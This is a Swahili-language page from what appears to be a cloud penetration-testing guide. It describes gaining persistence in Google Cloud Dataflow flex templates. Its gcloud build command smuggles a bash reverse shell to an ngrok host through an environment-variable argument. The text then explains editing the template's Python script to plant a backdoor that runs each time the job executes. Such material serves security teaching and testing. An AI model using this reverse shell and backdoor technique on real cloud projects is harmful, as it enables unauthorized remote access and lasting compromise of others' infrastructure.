GCP - Dataflow Persistence

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Dataflow

Uendelevu usioonekana katika kontena lililojengwa

Kufuata tutorial kutoka kwa nyaraka unaweza kuunda template mpya ya flex (mfano, python):

bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Wakati inajengwa, utapata shell ya kurudi (unaweza kutumia mabadiliko ya mazingira kama katika mfano wa awali au vigezo vingine vinavyoweka faili la Docker kutekeleza mambo yasiyo ya kawaida). Wakati huu, ndani ya shell ya kurudi, inawezekana kuenda kwenye saraka ya /template na kubadilisha msimbo wa skripti kuu ya python ambayo itatekelezwa (katika mfano wetu hii ni getting_started.py). Weka backdoor yako hapa ili kila wakati kazi inatekelezwa, itatekeleza hiyo.

Kisha, wakati kazi inatekelezwa tena, kontena lililoathiriwa litajengwa na litakimbia:

bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

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